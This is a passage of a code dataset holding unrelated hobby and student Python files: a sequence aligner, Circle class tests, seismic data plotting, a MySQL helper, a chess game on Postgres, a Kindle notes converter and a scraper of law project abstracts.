(score_matrix[row - 1][column] + gap_score):\r\n traceback_matrix[row][\r\n column] = \"U\" # insert \"U\" into the traceback matrix if the max score came from the entry above\r\n else:\r\n traceback_matrix[row][\r\n column] = \"L\" # insert \"L\" into the traceback matrix if the max score came from the entry left\r\n\r\n seq1_alignment = \"\"\r\n seq2_alignment = \"\" # initialise the strings of the alignment as empty\r\n\r\n while traceback_matrix[m - 1][n - 1] != \"END\": # do for every box in the traceback matrix that doesnt contain \"END\"\r\n x = traceback_matrix[m - 1][n - 1]\r\n if x == \"D\": # a match - insert the character from both sequences into the strings of the alignment\r\n seq1_alignment = seq1[-1] + seq1_alignment\r\n seq2_alignment = seq2[-1] + seq2_alignment\r\n seq1 = seq1[:-1]\r\n seq2 = seq2[:-1] # chop the last character off both input sequences\r\n m -= 1\r\n n -= 1 # move the index being checked one unit left-diagonally in the traceback matrix\r\n elif x == \"U\": # a gap - gap in seq1 matched with character from seq 2\r\n seq1_alignment = \"-\" + seq1_alignment\r\n seq2_alignment = seq2[-1] + seq2_alignment\r\n seq2 = seq2[:-1] # chop the last character off only seq2\r\n m -= 1 # move index one row up in traceback matrix\r\n elif x == \"L\": # a gap - a gap in seq2 is matched with a character from seq1\r\n seq1_alignment = seq1[-1] + seq1_alignment\r\n seq2_alignment = \"-\" + seq2_alignment\r\n seq1 = seq1[:-1] # chop the last character off only seq1\r\n n -= 1 # move index one column to the right in the traceback matrix\r\n else:\r\n print(\"Error\")\r\n break\r\n\r\n global best_alignment\r\n best_alignment = [seq1_alignment, seq2_alignment]\r\n\r\n\r\n# ------------------------------------------------------------\r\n\r\n# ------------------------------------------------------------\r\n# Given an alignment, which is two strings, display it\r\n\r\ndef display_alignment(alignment):\r\n string1 = alignment[0]\r\n string2 = alignment[1]\r\n string3 = ''\r\n for i in range(min(len(string1), len(string2))):\r\n if string1[i] == string2[i]:\r\n string3 = string3 + \"|\"\r\n else:\r\n string3 = string3 + \" \"\r\n print('Alignment ')\r\n print('String1: ' + string1)\r\n print(' ' + string3)\r\n print('String2: ' + string2 + '\\n\\n')\r\n\r\n\r\n# ------------------------------------------------------------\r\n\r\n\r\n# ------------------------------------------------------------\r\n# This opens the files, loads the sequences and starts the timer\r\nfile1 = open(sys.argv[1], 'r')\r\nseq1 = file1.read()\r\nfile1.close()\r\nfile2 = open(sys.argv[2], 'r')\r\nseq2 = file2.read()\r\nfile2.close()\r\nstart = time.time()\r\n\r\n# -------------------------------------------------------------\r\n\r\n\r\n# ------------------------------------------------------------\r\n# The sequences are contained in the variables seq1 and\r\n# seq2 from the code above. Call the function to create the list of alignments Call the function to score each of the\r\n# alignments. To work with the printing functions below your list of alignments should be called alignments_list. The\r\n# best alignment should be called best_alignment and its score should be called best_score.\r\n\r\ndynamic_alignment(seq1, seq2)\r\n\r\n# -------------------------------------------------------------\r\n\r\n\r\n# ------------------------------------------------------------\r\n# This calculates the time taken and will print out useful information \r\nstop = time.time()\r\ntime_taken = stop - start\r\n\r\n# Print out the best\r\nprint('Time taken: ' + str(time_taken))\r\nprint('Best (score ' + str(best_score) + '):')\r\ndisplay_alignment(best_alignment)\r\n\r\n# -------------------------------------------------------------\r\n","sub_path":"Dynamic.py","file_name":"Dynamic.py","file_ext":"py","file_size_in_byte":6218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"331359355","text":"# Jon Cracolici\n# UW- Python Cert\n# Lesson 08 - Circle Class Testing Suite\n\n\n# Import statements\nfrom Circle import Circle\nimport math\nimport unittest\n\n\nclass Test_circle(unittest.TestCase):\n \"\"\"The class of unittests for the Circle Class Exercise.\"\"\"\n\n # Property Tests - Tasks 1-3\n def test_init(self):\n \"\"\"Tests the initialization of the Circle Class.\n \"\"\"\n c = Circle(4)\n self.assertEqual(c.radius, 4)\n self.assertEqual(c.diameter, 8)\n\n\n def test_rd_setters(self):\n \"\"\"Tests the ability to set radius and diameter.\"\"\"\n c = Circle(4)\n c.radius = 3\n self.assertEqual(c.radius, 3)\n self.assertEqual(c.diameter, 6)\n c.diameter = 10\n self.assertEqual(c.radius, 5)\n self.assertEqual(c.diameter, 10)\n \n \n def test_area(self):\n \"\"\"Tests the area property. Task 4.\"\"\"\n c = Circle(4)\n self.assertEqual(c.area, math.pi * 16)\n\n\n def test_alt_init(self):\n \"\"\"Tests alternative initializer (diameter).\n Task 5.\"\"\"\n c1 = Circle.from_diameter(4)\n self.assertEqual(c1.radius, 2)\n self.assertEqual(c1.diameter, 4)\n\n\n # Printing Tests\n def test_strings(self):\n \"\"\"Tests the printing behavior. Task 6.\"\"\"\n c1 = Circle(2)\n c1_repr= c1.__repr__()\n c1_str = c1.__str__()\n correct_str = 'A circle with radius 2.00.'\n correct_repr = 'Circle (2.00)'\n self.assertEqual(c1_repr, correct_repr)\n self.assertEqual(c1_str, correct_str)\n\n\n # Math Functionality Tests - Task 7\n def test_addition(self):\n \"\"\"Tests addition.\"\"\"\n c1 = Circle(2)\n c2 = Circle(4)\n c3 = Circle(6)\n c4 = c1 + c2\n self.assertEqual(c3, c4)\n \n \n def test_multiplication(self):\n \"\"\"\"Tests multiplication\"\"\"\n c1 = Circle(2)\n c2 = Circle(4)\n c3 = Circle(8)\n c4 = c1 * c2\n self.assertEqual(c3, c4)\n\n #Comparison Tests - Task 8\n def test_comparisons(self):\n c1 = Circle(2)\n c2 = Circle(3)\n c3 = Circle(2)\n self.assertEqual((c1>c2),False)\n self.assertEqual((c1'):]\r\n\r\n dom = minidom.parseString(z)\r\n rootdata = dom.documentElement\r\n ElementList = rootdata.getElementsByTagName(\"points\")\r\n\r\n data = []\r\n for i in range(ElementList.length):\r\n temp0 = ElementList[i].firstChild.data\r\n if temp0.__len__() < 10000: # todo: need to verify the exact num\r\n continue\r\n else:\r\n RawResult = ElementList[i].firstChild.data\r\n TESTDATA = StringIO(RawResult.strip('\\n'))\r\n data.append(pd.read_table(TESTDATA, sep='\\\\s+', header=None, names=['freq', 'spac', 'stderr']))\r\n\r\n if plot:\r\n plt.figure()\r\n for i in range(3):\r\n plt.subplot(3, 1, i + 1)\r\n plt.errorbar(x=data[i].freq, y=data[i].spac, yerr=data[i].stderr)\r\n plt.show()\r\n\r\n if write:\r\n for i in range(3):\r\n data[i].to_csv(path + name + 'r' + str(i + 1) + '.csv', index=False)\r\n\r\n return data, name\r\n\r\n\r\n# get page filepath and filename\r\nfs = glob(Folderpath + '/*.page')\r\nfreq = np.logspace(np.log10(0.5), np.log10(100.1), 306)\r\nnames = []\r\nfor i in range(len(fs)):\r\n names.append(Path(fs[i]).stem)\r\nprint(colored('SpacPageName:', 'green', attrs=['bold']))\r\n# read page file and combine the data to tuple\r\ndataPage = []\r\nfor i in range(len(fs)):\r\n print(fs[i].split(\"\\\\\")[-1].split('.')[0])\r\n dataPage += read_page(fs[i])\r\n# plot the figure for each page file\r\nfor i in range(len(fs)):\r\n # get the spac ring ifo\r\n with open(str(fs[i]), 'rb') as temp:\r\n x = temp.read()\r\n y = gzip.decompress(x).decode('utf-8', 'ignore').strip('\\x00').replace('\\x00', '')\r\n z = y[y.find(''):]\r\n dom = minidom.parseString(z)\r\n rootdata = dom.documentElement\r\n ElementList = rootdata.getElementsByTagName(\"text\")\r\n ring1 = ElementList[0].firstChild.data\r\n ring2 = ElementList[1].firstChild.data\r\n ring3 = ElementList[2].firstChild.data\r\n # figure\r\n fig = make_subplots(rows=1, cols=3, subplot_titles=(ring1, ring2, ring3))\r\n # ring1\r\n fig.add_trace(go.Scatter(x=pd.DataFrame(dataPage[2*i][0])['freq'], y=pd.DataFrame(dataPage[2*i][0])['spac'] + pd.DataFrame(dataPage[2*i][0])['stderr'], mode='lines',\r\n line=dict(color='rgba(255,255,255,0)'), showlegend=False), row=1, col=1)\r\n fig.add_trace(go.Scatter(x=pd.DataFrame(dataPage[2*i][0])['freq'], y=pd.DataFrame(dataPage[2*i][0])['spac'] - pd.DataFrame(dataPage[2*i][0])['stderr'], mode='lines',\r\n line=dict(color='rgba(255,255,255,0)'), fill='tonexty', showlegend=False), row=1, col=1)\r\n fig.add_trace(go.Scatter(x=pd.DataFrame(dataPage[2*i][0])['freq'], y=pd.DataFrame(dataPage[2*i][0])['spac'], mode='lines',\r\n name='SPAC_Ring1'), row=1, col=1)\r\n # ring2\r\n fig.add_trace(go.Scatter(x=pd.DataFrame(dataPage[2*i][1])['freq'], y=pd.DataFrame(dataPage[2*i][1])['spac'] + pd.DataFrame(dataPage[2*i][1])['stderr'], mode='lines',\r\n line=dict(color='rgba(255,255,255,0)'), showlegend=False), row=1, col=2)\r\n fig.add_trace(go.Scatter(x=pd.DataFrame(dataPage[2*i][1])['freq'], y=pd.DataFrame(dataPage[2*i][1])['spac'] - pd.DataFrame(dataPage[2*i][1])['stderr'], mode='lines',\r\n line=dict(color='rgba(255,255,255,0)'), fill='tonexty', showlegend=False), row=1, col=2)\r\n fig.add_trace(go.Scatter(x=pd.DataFrame(dataPage[2*i][1])['freq'], y=pd.DataFrame(dataPage[2*i][1])['spac'], mode='lines',\r\n name='SPAC_Ring2'), row=1, col=2)\r\n # ring3\r\n fig.add_trace(go.Scatter(x=pd.DataFrame(dataPage[2*i][2])['freq'], y=pd.DataFrame(dataPage[2*i][2])['spac'] + pd.DataFrame(dataPage[2*i][2])['stderr'], mode='lines',\r\n line=dict(color='rgba(255,255,255,0)'), showlegend=False), row=1, col=3)\r\n fig.add_trace(go.Scatter(x=pd.DataFrame(dataPage[2*i][2])['freq'], y=pd.DataFrame(dataPage[2*i][2])['spac'] - pd.DataFrame(dataPage[2*i][2])['stderr'], mode='lines',\r\n line=dict(color='rgba(255,255,255,0)'), fill='tonexty', showlegend=False), row=1, col=3)\r\n fig.add_trace(go.Scatter(x=pd.DataFrame(dataPage[2*i][2])['freq'], y=pd.DataFrame(dataPage[2*i][2])['spac'], mode='lines',\r\n name='SPAC_Ring3'), row=1, col=3)\r\n # design the frame properties todo: Optional frame properties\r\n # print(\"Whether to use log axis? Please type Y or N\")\r\n # axisChoose = input()\r\n # if (axisChoose == 'Y') | (axisChoose == 'y'):\r\n # fig.update_xaxes(type=\"log\")\r\n # # fig.update_xaxes(type=\"log\")\r\n # print(\"Please input the min of xaxis:\")\r\n # xaxisMin = float(input());\r\n # print(\"Please input the max of xaxis:\")\r\n # xaxisMax = float(input());\r\n # print(\"Please input the min of yaxis:\")\r\n # yaxisMin = float(input());\r\n # print(\"Please input the max of yaxis:\")\r\n # yaxisMax = float(input());\r\n # fig.update_xaxes(range=[xaxisMin, xaxisMax])\r\n # # fig.update_xaxes(range=[0, 100], tick0=0.00, dtick=20)\r\n # fig.update_yaxes(range=[yaxisMin, yaxisMax], tick0=0.00, dtick=0.2)\r\n # fig.update_layout(title=Folderpath.split(\"/\")[-1])\r\n # # plotly.offline.plot(fig, filename=Folderpath + '/' + 'SPAC.html')\r\n # htmlFileName = Folderpath.split(\"/\")[-1] + '.html'\r\n # plotly.offline.plot(fig, filename=Folderpath + '/' + htmlFileName)\r\n # define a log frame properties todo: a specify frame properties\r\n fig.update_xaxes(type=\"log\")\r\n fig.update_xaxes(range=[0, 2])\r\n # fig.update_xaxes(range=[0, 100], tick0=0.00, dtick=20)\r\n fig.update_yaxes(range=[-0.6, 1], tick0=0.00, dtick=0.2)\r\n fig.update_layout(title=dataPage[2*i+1])\r\n fig.update_xaxes(title_text=\"Frequency (Hz)\")\r\n fig.update_yaxes(title_text=\"Autocorr ratio\")\r\n # plotly.offline.plot(fig, filename=Folderpath + '/' + 'SPAC.html')\r\n htmlFileName = dataPage[2*i+1] + '_SPAC' + '.html'\r\n plotly.offline.plot(fig, filename=Folderpath + '/' + htmlFileName)\r\n","sub_path":"spac_page_view.py","file_name":"spac_page_view.py","file_ext":"py","file_size_in_byte":7088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"299309703","text":"# -*- coding: utf-8 -*-\n# Created by xj on 2019/3/20\nimport pymysql #这里导入的是pymysql模块 也可以安装python-connnect-python包\nfrom api_project_3.common.api_conf import MyConfig\n#pymsql mysql-connector-python\n#pip install pymysql\n#pip install mysql-connector-python\nclass DoMysql:\n def do_mysql(self,query,flag=1):\n\n \"\"\"首先将数据库IP,端口,用户名,密码,数据库名称保存在字典中(已经放在配置文件)\n query 代表要执行的sql 语句,flag=1获取一条数据,flag!=1 获取多条数据,这里返回的数据都是元组\"\"\"\n #获取数据库信息\n db_config = MyConfig().get_list('MYSQLDB','db_config')\n #建立数据库连接\n cnn=pymysql.connect(**db_config) #将数据库信息以字典的方式传进来\n #建立游标\n cursor =cnn.cursor()\n #执行sql语句\n cursor.execute(query)\n #***如果做的的增加,插入,删除操作 还要进行数据的提交***\n # cursor.execute('commit')\n if flag ==1:\n #返回结果\n res=cursor.fetchone()#查询匹配到的第一条数据 元组类型\n else:\n res = cursor.fetchall()#返回的结果是元组 里面嵌套的是元祖,每一个元组是一条查询数据 **这里需要注意的数利用mysql-connect-jar包安装的插件这种方式返回的是列表\n cnn.close() #关闭数据库连接\n return res #注意返回的类型\n\nif __name__ == '__main__':\n query = 'select Id,MobilePhone from member where Id<=23528'\n # res=DoMysql().do_mysql(query,2)\n # print(res)]\n\n","sub_path":"api_project_3/common/do_mysql.py","file_name":"do_mysql.py","file_ext":"py","file_size_in_byte":1638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"474513795","text":"# _*_ coding:utf-8 _*_\nfrom selenium import webdriver\nimport unittest\nfrom loguru import logger\nfrom framework import common\nfrom Base.chatroompage import ChatRoomPage\n\n\nclass StartEnd(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n logger.add(common.saved_log('no_login_test_chatroom_log'),\n format=\"{time:YYYY-MM-DD----HH:mm:ss}--{level}--{message}\",\n rotation='10 MB',\n encoding='utf-8')\n logger.info('==========setUp==========')\n cls.data = common.get_yaml_config_file('config.yaml')\n cls.url = cls.data['URL'] + 'room/xyft?roomId=xyft'\n logger.info(f'当前打开的网址为:{cls.url}')\n cls.driver = webdriver.Chrome()\n cls.page = ChatRoomPage(cls.driver, cls.url)\n cls.page.open()\n cls.page.imp_wait(5)\n\n @classmethod\n def tearDownClass(cls):\n logger.info('==========tearDown=========')\n cls.driver.quit()\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"framework/myunit.py","file_name":"myunit.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"202438551","text":"\ndef averageStudent():\n average = 0\n for j in range(1,6):\n average = average + float(input(f\"ingrese nota {j}: \")) \n average = average / 5 \n\nnumAlumnos = 0;\nstudents = []\ncountWomenSoftware = 0\ncountMenSoftware = 0\ncountNotBinarySoftware = 0\ncountWomenTelecomunications = 0\ncountMenTelecomunications = 0\ncountNotBinaryTelecomunications = 0\naverageTelecomunocations = 0\naverageSoftware = 0\ncountStudents = 0\naverageAge = 0\ncountWoman = 0\ncountMen = 0\nmenu = input(\"Qué desea hacer - ingrese 'admision(admi) - matrícula(matri)'\")\nif menu == \"admin\":\n numAlumnos = int(\"ingrese numero de alumnos\")\n for i in range(numAlumnos):\n name = input(\"ingrese nombre\") \n academicProgram = input(\"Ingrese el programa académico -> s - software - t- telecomunicaciones\")\n sex = input(\"ingrese sexo - m(mujer), h(hombre), nb(no binario)\") \n if academicProgram == \"s\" or academicProgram == \"S\":\n if sex == \"m\" or sex == \"M\":\n countWomenSoftware+=1\n elif sex == \"h\" or sex == \"H\": \n countMenSoftware+=1\n elif sex == \"bn\" or sex == \"NB\":\n countNotBinarySoftware+=1\n\n average = averageStudent()\n students.append({\"name\": name, \"average\": average}) \n averageSoftware+=average \n else:\n sex = input(\"ingrese sexo - m(mujer), h(hombre), nb(no binario)\") \n if sex == \"m\" or sex == \"M\":\n countWomenTelecomunications+=1\n elif sex == \"h\" or sex == \"H\": \n countMenTelecomunications+=1\n elif sex == \"bn\" or sex == \"NB\":\n countNotBinarySoftware+=1\n\n average = averageStudent()\n students.append({\"name\": name, \"average\": average}) \n averageTelecomunocations += average \n\n #resultado\n averageSoftware = averageSoftware/(countMenSoftware+countNotBinarySoftware+countWomenSoftware)\n averageTelecomunocations = averageTelecomunocations/(countNotBinaryTelecomunications\n +countWomenTelecomunications+countMenTelecomunications)\n print(f\"promedio software:{averageSoftware}\")\n print(f\"Número de mujeres en software:{countWomenSoftware}\")\n print(f\"Número de hombres en software:{countMenSoftware}\")\n print(f\"Número de no binarios en software:{countNotBinarySoftware}\")\n print(f\"promedio de telecomunicaciones:{averageTelecomunocations}\")\n print(f\"Número de mujeres en telecomunicaciones:{countWomenTelecomunications}\")\n print(f\"Número de hombres en telecomunicaciones:{countMenTelecomunications}\")\n print(f\"Número de no binarios en telecomunicaciones:{countNotBinaryTelecomunications}\")\n\n for i in students:\n print(f\"Nombre: {i['name']} - Nota Final: {i['average']}\")\nelse:\n while True:\n averageAge+=int(input(\"Ingrse edad\"))\n sex = input(\"ingrese sexo\")\n if sex == \"m\" or sex == \"M\":\n countWoman += 1\n elif sex == \"h\" or sex ==\"H\":\n countMen += 1\n stopAdmission = input(\"si desea dejar de matricular ingrese 0,de lo contrario cualquer tecla para continuar\")\n countStudents+=1\n if stopAdmission == 0:\n break\n\n averageAge = averageAge/countStudents\n print(f\"Número de estudiantes matriculados: {countStudents}\")\n print(f\"Promedio de edad de matricula: {averageAge}\") \n print(f\"Número de mujeres matriculadas: {countWomen}\")\n print(f\"Número de hombres matriculadas: {countMen}\")\n\n\n\n\n\n\n ","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"323764609","text":"import os\nfrom StringIO import StringIO\nimport tempfile\nfrom unittest import TestCase\n\nfrom mock import Mock\n\nfrom taxi.remote import ZebraRemote\n\n\nclass CommandTestCase(TestCase):\n default_config = {\n 'default': {\n 'site': 'https://zebra.liip.ch',\n 'username': 'john.doe',\n 'password': 'john.doe',\n 'date_format': '%d/%m/%Y',\n },\n 'wrmap': {\n 'alias_1': '123/456'\n }\n }\n\n default_options = {\n }\n\n def setUp(self):\n def zebra_remote_send_entries(entries, callback):\n pushed_entries = [\n item for sublist in entries.values() for item in sublist\n ]\n\n return (pushed_entries, [])\n\n self.original_zebra_remote_send_entries = ZebraRemote.send_entries\n ZebraRemote.send_entries = Mock(side_effect=zebra_remote_send_entries)\n\n self.stdout = StringIO()\n _, self.config_file = tempfile.mkstemp()\n _, self.entries_file = tempfile.mkstemp()\n self.default_options['config'] = self.config_file\n self.default_options['file'] = self.entries_file\n self.default_options['stdout'] = self.stdout\n\n def tearDown(self):\n ZebraRemote.send_entries = self.original_zebra_remote_send_entries\n\n os.remove(self.config_file)\n os.remove(self.entries_file)\n\n def write_config(self, config):\n with open(self.config_file, 'w') as f:\n for (section, params) in config.iteritems():\n f.write(\"[%s]\\n\" % section)\n\n for (param, value) in params.iteritems():\n f.write(\"%s = %s\\n\" % (param, value))\n\n def write_entries(self, contents):\n with open(self.entries_file, 'w') as f:\n f.write(contents)\n","sub_path":"tests/commands/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"59515166","text":"import os\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import scoped_session, sessionmaker\n\nengine = create_engine(\"postgres://postgres:12345@localhost:5432/postgres\")\n#engine = create_engine(os.getenv(\"DATABASE_URL\")) # korzystajac z tego rozwiazania nalezy w terminalu ustawic DATABASE_URL, dla windows \"set DATABASE_URL=postgres://postgres:12345@localhost:5432/postgres\"\ndb = scoped_session(sessionmaker(bind=engine))\n\ndef wybor():\n print(\"Ktora bierke chcesz ruszyc?\")\n start = input()\n pole = db.execute(\"SELECT \" + start[slice(1)] +\" FROM szachownica where id=:i;\",{\"i\": start[slice(1,2)]}).fetchone()\n x = (ord(start[slice(1)])-1)%8\n y = int(start[slice(1,2)])\n wspolrzedneStart = (y-1)*8+x\n szachownica[wspolrzedneStart].ruch(x,y,start) \n\n print(\"Dokad chcesz ruszyc?\")\n koniec = input()\n x = (ord(koniec[slice(1)])-1)%8\n y = int(koniec[slice(1,2)])\n wspolrzedneKoniec = (y-1)*8+x\n pole = db.execute(\"SELECT \" + koniec[slice(1)] +\" FROM szachownica where id=:i;\",{\"i\": koniec[slice(1,2)]}).fetchone()\n if ('x' in pole[0]): # wymaga zmian\n db.execute(\"update szachownica set \" + start[slice(1)] +\"='' where id=:i;\",{\"i\": start[slice(1,2)]})\n db.execute(\"update szachownica set \" + koniec[slice(1)] +\"=:bierka where id=:i;\",{\"i\": koniec[slice(1,2)],\"bierka\": szachownica[wspolrzedneStart].tekst})\n db.execute(\"update szachownica set \" + start[slice(1)] +\"='' where \" + start[slice(1)] +\"='x';\",{\"i\": koniec[slice(1,2)]})\n \n bufor = szachownica[wspolrzedneStart]\n szachownica[wspolrzedneStart] = pustePole()\n szachownica[wspolrzedneKoniec] = bufor\n else:\n print (\"pole nieprawidlowe\")\n\n db.commit()\n\nclass bierka:\n def __init__(self,typ,kolor):\n self.typ = typ\n self.kolor = kolor\n self.tekst = kolor+typ\n \n def ruch(self,x,y):\n pass\n\nclass wieza(bierka):\n def __init__ (self,kolor):\n super().__init__(typ=\"Wieza\", kolor = kolor)\n\n def ruch(self,x,y,start):\n print (f\"wybrales figure: {self.tekst}\")\n i=0\n while (szachownica[(y+i)*8+x].tekst == \"\" and (y+1+i)<=8):\n db.execute(\"update szachownica set \" + start[slice(1)] +\"='x' where id=:i;\",{\"i\": y+i+1})\n i += 1\n i=0\n while (szachownica[(y-2-i)*8+x].tekst == \"\" and (y-1-i)>=0):\n db.execute(\"update szachownica set \" + start[slice(1)] +\"='x' where id=:i;\",{\"i\": y-1-i})\n i += 1\n i=0\n while (szachownica[(y-1)*8+x+1+i].tekst == \"\" and (x+1+i)<=7):\n db.execute(\"update szachownica set \" + chr(ord(start[slice(1)])+1+i) +\"='x' where id=:i;\",{\"i\": y})\n i += 1\n i=0\n while (szachownica[(y-1)*8+x-1-i].tekst == \"\" and (x-1-i)>=0):\n db.execute(\"update szachownica set \" + chr(ord(start[slice(1)])-1-i) +\"='x' where id=:i;\",{\"i\": y})\n i += 1\n\n db.commit()\n\nclass konik(bierka):\n def __init__ (self,kolor):\n super().__init__(typ=\"Konik\", kolor = kolor)\n\n def ruch(self):\n pass\n\nclass goniec(bierka):\n def __init__ (self,kolor):\n super().__init__(typ=\"Goniec\", kolor = kolor)\n \n def ruch(self):\n pass\n\nclass hetman(bierka):\n def __init__ (self,kolor):\n super().__init__(typ=\"Hetman\", kolor = kolor)\n \n def ruch(self):\n pass\n\nclass krol(bierka):\n def __init__ (self,kolor):\n super().__init__(typ=\"Krol\", kolor = kolor)\n \n def ruch(self):\n pass\n\nclass pion(bierka):\n def __init__ (self,kolor):\n super().__init__(typ=\"Pion\", kolor = kolor)\n \n def ruch(self,x,y,start):\n print (f\"wybrales figure: {self.tekst}\") \n if (self.kolor == \"c\"):\n if (y == 2):\n for i in range (2):\n if (szachownica[(y+i)*8+x].tekst == \"\"):\n db.execute(\"update szachownica set \" + start[slice(1)] +\"='x' where id=:i;\",{\"i\": y+i+1})\n else:\n if (szachownica[y*8+x].tekst == \"\"):\n db.execute(\"update szachownica set \" + start[slice(1)] +\"='x' where id=:i;\",{\"i\": y+1})\n if (szachownica[y*8+(x+1)].kolor == \"b\" and x < 7):\n db.execute(\"update szachownica set \" + chr(ord(start[slice(1)])+1) +\"='\" + (\"x/\" + szachownica[y*8+(x+1)].tekst) +\"' where id=:i;\",{\"i\": y+1})\n if (szachownica[y*8+(x-1)].kolor == \"b\" and x > 0):\n db.execute(\"update szachownica set \" + chr(ord(start[slice(1)])-1) +\"='\" + (\"x/\" + szachownica[y*8+(x-1)].tekst) +\"' where id=:i;\",{\"i\": y+1})\n \n elif (self.kolor == \"b\"):\n if (y == 7):\n for i in range (2):\n if (szachownica[(y-2-i)*8+x].tekst == \"\"):\n db.execute(\"update szachownica set \" + start[slice(1)] +\"='x' where id=:i;\",{\"i\": y-i-1})\n else:\n if (szachownica[(y-2)*8+x].tekst == \"\"):\n db.execute(\"update szachownica set \" + start[slice(1)] +\"='x' where id=:i;\",{\"i\": y-1})\n if (szachownica[(y-2)*8+(x+1)].kolor == \"c\" and x < 7):\n db.execute(\"update szachownica set \" + chr(ord(start[slice(1)])+1) +\"='\" + (\"x/\" + szachownica[(y-2)*8+(x+1)].tekst) +\"' where id=:i;\",{\"i\": y-1})\n if (szachownica[(y-2)*8+(x-1)].kolor == \"c\" and x > 0):\n db.execute(\"update szachownica set \" + chr(ord(start[slice(1)])-1) +\"='\" + (\"x/\" + szachownica[(y-2)*8+(x-1)].tekst) +\"' where id=:i;\",{\"i\": y-1})\n db.commit()\n\nclass pustePole:\n def __init__(self):\n self.tekst = \"\"\n self.kolor = \"\"\n\nczarny = \"c\"\nbialy = \"b\"\nczarneFigury = [wieza(czarny), konik(czarny), goniec(czarny), hetman(czarny), krol(czarny), goniec(czarny), konik(czarny), wieza(czarny)]\nbialeFigury = [wieza(bialy), konik(bialy), goniec(bialy), hetman(bialy), krol(bialy), goniec(bialy), konik(bialy), wieza(bialy)]\nszachownica = []\nfor j in range (4):\n for i in range (16):\n if (i < 8):\n if (j==0):\n szachownica.append(czarneFigury[i])\n elif (j==3):\n szachownica.append(pion(\"b\"))\n else:\n szachownica.append(pustePole())\n if (i >= 8):\n if (j==0):\n szachownica.append(pion(\"c\"))\n elif (j==3):\n szachownica.append(bialeFigury[i%8])\n else:\n szachownica.append(pustePole())\n\ndef main():\n for i in range(8):\n #if (i in (0,1,6,7)):\n db.execute(\"update szachownica set a=:a, b=:b, c=:c, d=:d, e=:e, f=:f, g=:g, h=:h where id=:i;\",\n {\"a\": szachownica[8*i].tekst,\"b\": szachownica[8*i+1].tekst,\"c\": szachownica[8*i+2].tekst,\"d\": szachownica[8*i+3].tekst,\n \"e\": szachownica[8*i+4].tekst,\"f\": szachownica[8*i+5].tekst,\"g\": szachownica[8*i+6].tekst,\"h\": szachownica[8*i+7].tekst, \"i\": i+1})\n print (\"dodano\")\n db.commit()\n\n\n db.execute(\"update szachownica set d='x' where id=4;\")\n db.commit()\n wybor()\n wybor()\n wybor()\n\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"szaszki.py","file_name":"szaszki.py","file_ext":"py","file_size_in_byte":7298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"85842782","text":"from django.conf.urls import url, include\nfrom . import views\nfrom rest_framework.routers import DefaultRouter\n\n\nrouter = DefaultRouter()\nrouter.register(r'student', views.StudentViewSet, )\nrouter.register(r'owner_student', views.OwnerStudentViewSet, \n base_name='owner_student')\nrouter.register(r'owner_booking', views.OwnerBookingViewSet,\n base_name='owner_booking')\nrouter.register(r'owner_booking_edit', views.OwnerBookingEditViewSet,\n base_name='owner_booking_edit')\n\n\n\nurlpatterns = [\n url(r'^', include(router.urls)),\n]\n","sub_path":"educms/student/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"385953973","text":"##coding=utf-8\\n\\\n\nimport re\nfrom bs4 import BeautifulSoup\nimport codecs\n\nwith codecs.open('in.html', 'r','utf-8') as fin,open('out.md','w') as fout:\n html=fin.read()\n soup=BeautifulSoup(html,'lxml')\n for tag in soup.find_all('div'):\n if 'bookTitle' in tag['class']:\n fout.write('# 笔记: 《'+tag.string.strip()+'》'+'\\n\\n')\n if 'authors' in tag['class']:\n fout.write('作者: '+tag.string.strip()+''+'\\n')\n if 'noteHeading' in tag['class']:\n if tag.string==None:\n noteh=tag.contents[2].strip()\n #fout.write('\\n---\\n \\n> 标注:'+noteh.split('-')[1]+'\\n')\n else:\n fout.write('> 笔记'+'\\n')\n if 'noteText' in tag['class']:\n fout.write('\\n'+tag.string.strip()+'\\n')","sub_path":"python/kindle-note/kindlec.py","file_name":"kindlec.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"402954659","text":"from bs4 import BeautifulSoup\nimport requests\nimport json\n\n\nlaw_project = []\nid = 0\nitem = {}\nsource = requests.get('https://www.grossarchive.com/all/51/law-project-topics-and-materials').text\nsoup = BeautifulSoup(source, 'lxml')\npages = soup.find('div', id=\"page\")\ndiv = pages.find('div', class_=\"contentholder\")\nfirsthightligh4 = div.find('div', class_=\"firsthightligh3\")\nfor topicblock in firsthightligh4.find_all('div', class_=\"topicblock\"):\n topichead = topicblock.find('div', class_=\"topichead\").a['href']\n eachlink = requests.get(str(topichead)).text\n souplink = BeautifulSoup(eachlink, 'lxml')\n abstract = souplink.find('div')\n id += 1\n abstr = abstract.find('div', class_=\"contentholder\")\n maincontent3 = abstr.find('div', class_=\"maincontent3\")\n try:\n firsthightligh2 = maincontent3.find('div', class_=\"firsthightligh2\")\n except AttributeError as err:\n pass\n content51 = firsthightligh2.find('div', class_=\"content51\")\n title = content51.h1.text\n chapter1 = content51.find('div', class_=\"abstract\")\n law_project.append({ \"content\": str(chapter1), \"title\" : str(title), \"id\" : id})\n print(id)\n \nwith open(\"law_project.json\", \"a\") as writeJSON:\n json.dump(law_project, writeJSON, 